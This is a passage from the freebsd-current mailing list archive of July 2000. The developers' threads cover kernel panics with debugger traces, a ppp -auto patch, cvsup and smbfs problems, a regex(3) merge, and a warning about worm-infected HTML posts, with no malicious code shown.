(Postfix) with ESMTP id D892B37B818; Sun, 9 Jul 2000 06:37:10 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p41-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.106]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id WAA16370; Sun, 9 Jul 2000 22:37:05 +0900 (JST) Message-ID: <39685576.B621F83F@newsguy.com> Date: Sun, 09 Jul 2000 19:35:34 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: hm@hcs.de Cc: freebsd-current@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: config/hints changes: panic booting pcvt kernel References: <20000709102759.67F2D1029@hcswork.hcs.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hellmuth Michaelis wrote: > > Thanks for the reply - it seems indeed to be a strange problem. In the mean- > time i found out that the pcvt probe routine was never called until i added > something like DEVMETHOD(device_identify, pcvt_identify) to the device > methods structure. It didn't? Please, interrupt loader(8) and type "show", and verify that hint.vt.0.at="isa" is present. If not... Either it is somehow missing from /boot/device.hints (it shouldn't -- GENERIC.hints does have it), or you don't have the default /boot/loader.rc & cia. > But the effect is the same, it still panics after > > atkbdc0: at port 0x60,0x64 on isa0 Did you add options USERCONFIG to see if that helps? > Any hints from the more "hints-knowledged" would be highly appreciated .. ;-) Well, I'm definitely not the people to ask for help. That's why I'm cc'ing Peter on this, though. :-) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 7: 4:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 15FF037B883 for ; Sun, 9 Jul 2000 07:04:25 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.7/nospam) with UUCP id QAA09349; Sun, 9 Jul 2000 16:04:21 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id CFEF18899; Sun, 9 Jul 2000 15:51:46 +0200 (CEST) Date: Sun, 9 Jul 2000 15:51:46 +0200 From: Ollivier Robert To: "FreeBSD Current Users' list" Cc: mckusick@mckusick.com Subject: Multiple free panic on SMP Message-ID: <20000709155146.A30086@keltia.freenix.fr> Mail-Followup-To: FreeBSD Current Users' list , mckusick@mckusick.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After updating to the very latest current code, I get a multiple free panic on my SMP machine. It always happen during buildworld in libc_r. Important note : I have the snapshot code from Kirk. The panic is in random_read which does a free. Here is the trace. panic: free: multiple freed item 0xc0e92d00 mp_lock = 00000003; cpuid = 0; lapic.id = 00000000 panic: from debugger mp_lock = 00000004; cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 Uptime: 41m7s #0 boot (howto=260) at ../../kern/kern_shutdown.c:303 #1 0xc017819d in panic (fmt=0xc029dc34 "from debugger") at ../../kern/kern_shutdown.c:553 #2 0xc0133435 in db_panic (addr=-1071169600, have_addr=0, count=-1, modif=0xc667bc38 "") at ../../ddb/db_command.c:433 #3 0xc01333d5 in db_command (last_cmdp=0xc02d9db4, cmd_table=0xc02d9c14, aux_cmd_tablep=0xc031a8f4) at ../../ddb/db_command.c:333 #4 0xc013349a in db_command_loop () at ../../ddb/db_command.c:455 #5 0xc0135657 in db_trap (type=3, code=0) at ../../ddb/db_trap.c:71 #6 0xc0273d05 in kdb_trap (type=3, code=0, regs=0xc667bd48) at ../../i386/i386/db_interface.c:158 #7 0xc028590c in trap (frame={tf_fs = -1070399464, tf_es = -1070399472, tf_ds = -966328304, tf_edi = 128, tf_esi = 256, tf_ebp = -966279792, tf_isp = -966279820, tf_ebx = -1070954959, tf_edx = 0, tf_ecx = 32, tf_eax = 18, tf_trapno = 3, tf_err = 0, tf_eip = -1071169600, tf_cs = 8, tf_eflags = 524886, tf_esp = -1070814813, tf_ss = -1070951182}) at ../../i386/i386/trap.c:552 #8 0xc0273fc0 in Debugger (msg=0xc02a94f2 "panic") at machine/cpufunc.h:64 #9 0xc0178194 in panic (fmt=0xc02a8631 "free: multiple freed item %p") at ../../kern/kern_shutdown.c:551 #10 0xc0173d43 in free (addr=0xc0e92d00, type=0xc03035e0) at ../../kern/kern_malloc.c:336 #11 0xc0144340 in random_read (dev=0xc031e3c8, uio=0xc667bed8, flag=131072) at ../../dev/randomdev/randomdev.c:100 #12 0xc01b1e67 in spec_read (ap=0xc667be6c) at ../../miscfs/specfs/spec_vnops.c:262 #13 0xc0252774 in ufsspec_read (ap=0xc667be6c) at ../../ufs/ufs/ufs_vnops.c:1830 #14 0xc0252ca1 in ufs_vnoperatespec (ap=0xc667be6c) at ../../ufs/ufs/ufs_vnops.c:2308 #15 0xc01af0e8 in vn_read (fp=0xc1135d40, uio=0xc667bed8, cred=0xc0d9a780, flags=0, p=0xc6580820) at vnode_if.h:334 #16 0xc0188db5 in dofileread (p=0xc6580820, fp=0xc1135d40, fd=3, buf=0xbfbff064, nbyte=116, offset=-1, flags=0) at ../../sys/file.h:141 #17 0xc0188cab in read (p=0xc6580820, uap=0xc667bf80) at ../../kern/sys_generic.c:110 #18 0xc0286335 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 1717986919, tf_esi = 3, tf_ebp = -1077940008, tf_isp = -966279212, tf_ebx = 672082468, tf_edx = 63956, tf_ecx = 672148482, tf_eax = 3, tf_trapno = 12, tf_err = 2, tf_eip = 672042240, tf_cs = 31, tf_eflags = 643, tf_esp = -1077940196, tf_ss = 47}) at ../../i386/i386/trap.c:1126 #19 0xc02746cb in Xint0x80_syscall () (kgdb) up 10 #10 0xc0173d43 in free (addr=0xc0e92d00, type=0xc03035e0) at ../../kern/kern_malloc.c:336 336 panic("free: multiple freed item %p", addr); (kgdb) print addr $1 = (void *) 0xc0e92d00 (kgdb) print *addr Attempt to dereference a generic pointer. (kgdb) up #11 0xc0144340 in random_read (dev=0xc031e3c8, uio=0xc667bed8, flag=131072) at ../../dev/randomdev/randomdev.c:100 warning: Source file is more recent than executable. 100 ret = read_random(random_buf, c); (kgdb) list 95 void *random_buf; 96 97 c = min(uio->uio_resid, PAGE_SIZE); 98 random_buf = (void *)malloc(c, M_TEMP, M_WAITOK); 99 while (uio->uio_resid > 0 && error == 0) { 100 ret = read_random(random_buf, c); 101 error = uiomove(random_buf, ret, uio); 102 } 103 free(random_buf, M_TEMP); 104 return error; (kgdb) print random_buf $2 = (void *) 0xc0e92d00 (kgdb) print uio $3 = (struct uio *) 0xc667bed8 (kgdb) print *uio $4 = {uio_iov = 0xc667beb0, uio_iovcnt = 1, uio_offset = 116, uio_resid = 0, uio_segflg = UIO_USERSPACE, uio_rw = UIO_READ, uio_procp = 0xc6580820} More details if needed of course. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun 4 22:44:19 CEST 2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 8:49:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 35CBF37B7DF for ; Sun, 9 Jul 2000 08:49:42 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id IAA28556; Sun, 9 Jul 2000 08:49:40 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id IAA48509; Sun, 9 Jul 2000 08:49:39 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sun, 9 Jul 2000 08:49:39 -0700 (PDT) Message-Id: <200007091549.IAA48509@vashon.polstra.com> To: trevor@jpj.net Subject: Re: cvs-crypto unknown In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , Trevor Johnson wrote: > Personally, I use the separate collections because cvsup times out > otherwise (I guess my connection is too slow). A slow network won't cause this. There must be some other problem. The cvsupd server times out a connection only if it has had no network traffic for 15 minutes. Even 1 byte every 15 minutes will keep it from timing out. Also, assuming you're grabbing the whole src tree, using separate collections instead of src-all doesn't decrease the network traffic. In fact, it increases the traffic slightly. I should also mention that using separate collections loads the servers more than using src-all. Really if you want to sync with the whole src tree, using src-all is the best in every way. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 9: 5:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id D1F2737B76B for ; Sun, 9 Jul 2000 09:05:21 -0700 (PDT) (envelope-from rock@dead-end.net) Received: from fmrl01.sul.t-online.de by mailout03.sul.t-online.com with smtp id 13BJa4-0007Bv-00; Sun, 9 Jul 2000 18:05:20 +0200 Received: from server.rock.net (340029380333-0001@[62.224.216.71]) by fmrl01.sul.t-online.com with esmtp id 13BJZy-1zENtIC; Sun, 9 Jul 2000 18:05:14 +0200 Received: from dead-end.net (server [172.23.7.1]) by server.rock.net (8.9.3+Sun/8.9.3) with ESMTP id SAA19409; Sun, 9 Jul 2000 18:04:47 +0200 (MEST) Message-ID: <3968A29F.F60F1D25@dead-end.net> Date: Sun, 09 Jul 2000 18:04:47 +0200 From: Daniel Rock X-Mailer: Mozilla 4.7 [de] (X11; U; SunOS 5.8 i86pc) X-Accept-Language: de, en MIME-Version: 1.0 To: Udo Erdelhoff Cc: current@FreeBSD.ORG Subject: Re: ppp -auto gone again References: <20000708015911.A252@nathan.ruhr.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: 340029380333-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Udo Erdelhoff schrieb: > > Hi, > ppp -auto stopped working fater I've updated my box from 06/17-Sources > to yesterday's version (07/06, approx. 1500 GMT). tcpdump -ni tun0 > shows the traffic but that's it. ppp.log doesn't show any obvious > problems. -ddial works, sending a manual dial command (via pppctl) > brings the link up immediately. > > IPv6-related breakage again (this is an IPv4-only system) or something > new? Found it. Index: bundle.c =================================================================== RCS file: /data/cvs/src/usr.sbin/ppp/bundle.c,v retrieving revision 1.98 diff -u -r1.98 bundle.c --- bundle.c 2000/07/07 14:22:07 1.98 +++ bundle.c 2000/07/09 15:56:52 @@ -592,7 +592,7 @@ * *not* be UP and we can't receive data */ pri = PacketCheck(bundle, tun.data, n, &bundle->filter.dial, NULL); - if (pri > 0) + if (pri >= 0) bundle_Open(bundle, NULL, PHYS_AUTO, 0); else /* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 9: 8:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id 1D9B837B76B; Sun, 9 Jul 2000 09:08:11 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (1816 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Sun, 9 Jul 2000 18:08:09 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 9B08E1029; Sun, 9 Jul 2000 18:07:54 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <39683F6F.833723A9@newsguy.com> from "Daniel C. Sobral" at "Jul 9, 0 06:01:35 pm" To: dcs@newsguy.com (Daniel C. Sobral) Date: Sun, 9 Jul 2000 18:07:54 +0200 (METDST) Cc: hm@hcs.de, freebsd-current@FreeBSD.ORG, peter@freebsd.org Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 877 Message-Id: <20000709160754.9B08E1029@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From the keyboard of Daniel C. Sobral: > Hellmuth Michaelis wrote: > > > > Thanks for the reply - it seems indeed to be a strange problem. In the mean- > > time i found out that the pcvt probe routine was never called until i added > > something like DEVMETHOD(device_identify, pcvt_identify) to the device > > methods structure. > > It didn't? Please, interrupt loader(8) and type "show", and verify that > hint.vt.0.at="isa" is present. It is present. > Did you add options USERCONFIG to see if that helps? It was already there, it didn't help. hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 9:22:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from nts.mapisrael.com (nts.mapisrael.com [192.116.157.1]) by hub.freebsd.org (Postfix) with ESMTP id 2AD2137B76B for ; Sun, 9 Jul 2000 09:21:56 -0700 (PDT) (envelope-from ak@freenet.co.uk) Received: from freenet.co.uk (HIGHTEMPLAR [192.116.157.233]) by nts.mapisrael.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 3251S02B; Sun, 9 Jul 2000 19:21:23 +0200 Message-ID: <3968A683.C4238D08@freenet.co.uk> Date: Sun, 09 Jul 2000 19:21:23 +0300 From: A G F Keahan X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Boris Popov Cc: freebsd-current@FreeBSD.ORG Subject: smbfs problem References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Boris, I have a strange problem with smbfs, where the mounted share times out and becomes inaccessible after a period of time. I haven't been able to pinpoint the exact moment when it happens, but basically: hightemplar:/home/alex$ mount /dev/da0s1a on / (ufs, local, writes: sync 135 async 19893, reads: sync 3575 async 133) /dev/da0s1f on /usr (ufs, local, writes: sync 33050 async 168568, reads: sync 228738 async 13847) /dev/da0s1e on /var (ufs, local, writes: sync 13939 async 350912, reads: sync 14959 async 546) procfs on /proc (procfs, local) linprocfs on /usr/compat/linux/proc (linprocfs, local) //ALEX@PLUTO/USERS on /mnt/pluto (smbfs) hightemplar:/home/alex$ ls -l /mnt/pluto/ ls: : Broken pipe hightemplar:/home/alex$ cd /mnt/pluto hightemplar:/mnt/pluto$ pwd /mnt/pluto hightemplar:/mnt/pluto$ ls -al ls: .: Broken pipe umounting and mounting it again solves the problem. Also, smbutil doesn't seem to work: hightemplar:~$ smbutil lc SMB connections: Server: PLUTO VC: ALEX(root:wheel) 711 Share: USERS(root:wheel) 711 hightemplar:~$ smbutil view //alex@pluto smbutil: can't get handle to requester smbutil: could not login to server PLUTO: syserr = Invalid argument PLUTO is running Windows NT 4, not sure which Service Pack, either 5 or 6. I will be happy to help you debug this. Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 11:24:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.ruhr.de (in-ruhr2.ruhr.de [141.39.224.60]) by hub.freebsd.org (Postfix) with SMTP id 14D0D37B9D3 for ; Sun, 9 Jul 2000 11:24:18 -0700 (PDT) (envelope-from ue@nathan.ruhr.de) Received: (qmail 39138 invoked by alias); 9 Jul 2000 18:24:25 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.9.3/8.9.3) id TAA24832 for freebsd-current@FreeBSD.ORG; Sun, 9 Jul 2000 19:41:28 +0200 (CEST) (envelope-from ue) Date: Sun, 9 Jul 2000 19:41:23 +0200 From: Udo Erdelhoff To: freebsd-current@FreeBSD.ORG Subject: Re: ppp -auto gone again Message-ID: <20000709194122.E269@nathan.ruhr.de> References: <20000708015911.A252@nathan.ruhr.de> <3968A29F.F60F1D25@dead-end.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <3968A29F.F60F1D25@dead-end.net>; from rock@dead-end.net on Sun, Jul 09, 2000 at 06:04:47PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jul 09, 2000 at 06:04:47PM +0200, Daniel Rock wrote: > - if (pri > 0) > + if (pri >= 0) Groan. "The problem must be somewhere in ip.c, the other changes were purely cosmetic". Famous last words. Thanks, I've re-reverted to the current version, applied your patch and -auto mode works. /s/Udo (I need new glasses) -- I have learned over the years, that if it is the truth you seek, then honesty on your own part, is the best policy. That and torture. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 12:11:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id D67A437BC86; Sun, 9 Jul 2000 12:11:28 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id VAA50519; Sun, 9 Jul 2000 21:11:11 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.9.3/8.9.3) with SMTP id UAA86865; Sun, 9 Jul 2000 20:39:18 +0200 (CEST) (envelope-from leifn@neland.dk) Message-ID: <012701bfe9d4$fe322160$0e00a8c0@neland.dk> Reply-To: "Leif Neland" From: "Leif Neland" To: "Josh Paetzel" , "Robert Small" , , References: <002401bfe936$a1e7ebe0$06a481d0@inu.net> <00b001b42883$21414b00$33cefea9@josh> Subject: Virus alert, was: Re: SCSI Question Date: Sun, 9 Jul 2000 20:36:45 +0200 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG These messages are infected with the kak virus. See http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm ----- Original Message ----- From: Josh Paetzel To: Robert Small ; freebsd-questions@FreeBSD.ORG ; freebsd-current@FreeBSD.ORG Sent: Sunday, January 14, 1990 6:02 AM Subject: Re: SCSI Question ----- Original Message ----- From: Robert Small To: freebsd-questions@FreeBSD.ORG ; freebsd-current@FreeBSD.ORG Sent: Saturday, July 08, 2000 5:45 PM Subject: SCSI Question Damon Hammis wrote: > The jumpers are set wrong on the card. I had the exact same problem with > an aha-1542 and aha-1540 card recently. The docs on the jumpers that you > can get on Adaptec's site are kind of cryptic, but the card will work once > you get the jumpers placed correctly. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 12:46:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 613E637BE11 for ; Sun, 9 Jul 2000 12:46:10 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from daniel.sobral (p31-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.96]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id EAA18252 for ; Mon, 10 Jul 2000 04:46:05 +0900 (JST) Received: (from dcs@localhost) by daniel.sobral (8.9.3/8.9.3) id EAA03320 for current@freebsd.org; Mon, 10 Jul 2000 04:46:36 +0900 (JST) (envelope-from dcs) From: "Daniel C. Sobral" Message-Id: <200007091946.EAA03320@daniel.sobral> Subject: regex(3) To: current@freebsd.org Date: Mon, 10 Jul 2000 04:46:35 +0900 (JST) Disclaimer: Klaatu Barada Nikto! X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think all bugs with the performance improvements to regex(3) have all been solved now. I haven't heard of any problems for over a week about the first improvement (Boyer-Moore search), and I have now tested the code against the original test suit for Spencer's library. I'd like, thus, to merge the changes. If anyone have objections, please raise them now. :-) People wanting to test it, both sed and more use regex(3), and grep doesn't. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@there.is.no.bsdconspiracy.net Worst Vegetable of the Year: Brussel sprout. This is also the worst vegetable of next year. -- Steve Rubenstein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 13:11:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 78BD237B6A4 for ; Sun, 9 Jul 2000 13:11:11 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e69KBAM02419; Sun, 9 Jul 2000 13:11:10 -0700 (PDT) Date: Sun, 9 Jul 2000 13:11:10 -0700 From: Alfred Perlstein To: "Daniel C. Sobral" Cc: current@FreeBSD.ORG Subject: Re: regex(3) Message-ID: <20000709131110.R25571@fw.wintelcom.net> References: <200007091946.EAA03320@daniel.sobral> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200007091946.EAA03320@daniel.sobral>; from dcs@newsguy.com on Mon, Jul 10, 2000 at 04:46:35AM +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Daniel C. Sobral [000709 12:46] wrote: > I think all bugs with the performance improvements to regex(3) have all > been solved now. I haven't heard of any problems for over a week about > the first improvement (Boyer-Moore search), and I have now tested the > code against the original test suit for Spencer's library. > > I'd like, thus, to merge the changes. If anyone have objections, please > raise them now. :-) None other than waiting at least 2 weeks, or for 4.1 to come out. thanks, -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 13:12:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.ninth-circle.org (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id BD04337B6A4; Sun, 9 Jul 2000 13:12:31 -0700 (PDT) (envelope-from asmodai@lucifer.ninth-circle.org) Received: (from asmodai@localhost) by lucifer.ninth-circle.org (8.9.3/8.9.3) id WAA39670; Sun, 9 Jul 2000 22:12:20 +0200 (CEST) (envelope-from asmodai) Date: Sun, 9 Jul 2000 22:12:20 +0200 From: Jeroen Ruigrok van der Werven To: Leif Neland Cc: Josh Paetzel , Robert Small , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Virus alert, was: Re: SCSI Question Message-ID: <20000709221220.A39448@lucifer.bart.nl> References: <002401bfe936$a1e7ebe0$06a481d0@inu.net> <00b001b42883$21414b00$33cefea9@josh> <012701bfe9d4$fe322160$0e00a8c0@neland.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <012701bfe9d4$fe322160$0e00a8c0@neland.dk>; from leifn@neland.dk on Sun, Jul 09, 2000 at 08:36:45PM +0200 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000709 21:20], Leif Neland (leifn@neland.dk) wrote: >These messages are infected with the kak virus. See >http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm Am I the only one to NOT see this? Both the original postings look normal in mutt whichever way I use to look at them. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl ``...by God I *KNOW* what this network is for, and you can't have it.'' -- Russ Albery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 13:39: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id D094137BF38; Sun, 9 Jul 2000 13:38:52 -0700 (PDT) (envelope-from pherman@frenchfries.net) Received: from bagabeedaboo.security.at12.de (dial-195-14-250-129.netcologne.de [195.14.250.129]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id WAA13883; Sun, 9 Jul 2000 22:38:50 +0200 (MET DST) Received: from localhost (localhost.security.at12.de [127.0.0.1]) by bagabeedaboo.security.at12.de (8.10.2/8.10.2) with ESMTP id e69Kcgc03681; Sun, 9 Jul 2000 22:38:42 +0200 (CEST) Date: Sun, 9 Jul 2000 22:38:42 +0200 (CEST) From: Paul Herman To: Jeroen Ruigrok van der Werven Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Virus alert, was: Re: SCSI Question In-Reply-To: <20000709221220.A39448@lucifer.bart.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 9 Jul 2000, Jeroen Ruigrok van der Werven wrote: > -On [20000709 21:20], Leif Neland (leifn@neland.dk) wrote: > >These messages are infected with the kak virus. See > >http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm > > Am I the only one to NOT see this? Probably not. It wasn't in the "Content-Type: text/plain" part of the attachment, just the "text/html" part. -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 13:57:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.ninth-circle.org (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id BAC4637BF0A; Sun, 9 Jul 2000 13:57:01 -0700 (PDT) (envelope-from asmodai@lucifer.ninth-circle.org) Received: (from asmodai@localhost) by lucifer.ninth-circle.org (8.9.3/8.9.3) id WAA40055; Sun, 9 Jul 2000 22:56:58 +0200 (CEST) (envelope-from asmodai) Date: Sun, 9 Jul 2000 22:56:58 +0200 From: Jeroen Ruigrok van der Werven To: Paul Herman Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Virus alert, was: Re: SCSI Question Message-ID: <20000709225658.A39960@lucifer.bart.nl> References: <20000709221220.A39448@lucifer.bart.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from pherman@frenchfries.net on Sun, Jul 09, 2000 at 10:38:42PM +0200 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000709 22:40], Paul Herman (pherman@frenchfries.net) wrote: >On Sun, 9 Jul 2000, Jeroen Ruigrok van der Werven wrote: > >> -On [20000709 21:20], Leif Neland (leifn@neland.dk) wrote: >> >These messages are infected with the kak virus. See >> >http://www.cai.com/virusinfo/encyclopedia/descriptions/wscript.htm >> >> Am I the only one to NOT see this? > >Probably not. It wasn't in the "Content-Type: text/plain" part of the >attachment, just the "text/html" part. Ah right. Spotted it. Which brings us back to a few good rules: - do NOT post in HTML - do not configure your mailer to mail lame virus warnings back to lists where precedence is set to bulk. Thanks for reminding me of the text/html. I looked there before but failed to spot it. *sigh* -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl ``...by God I *KNOW* what this network is for, and you can't have it.'' -- Russ Albery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 14:39:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from racine.cybercable.fr 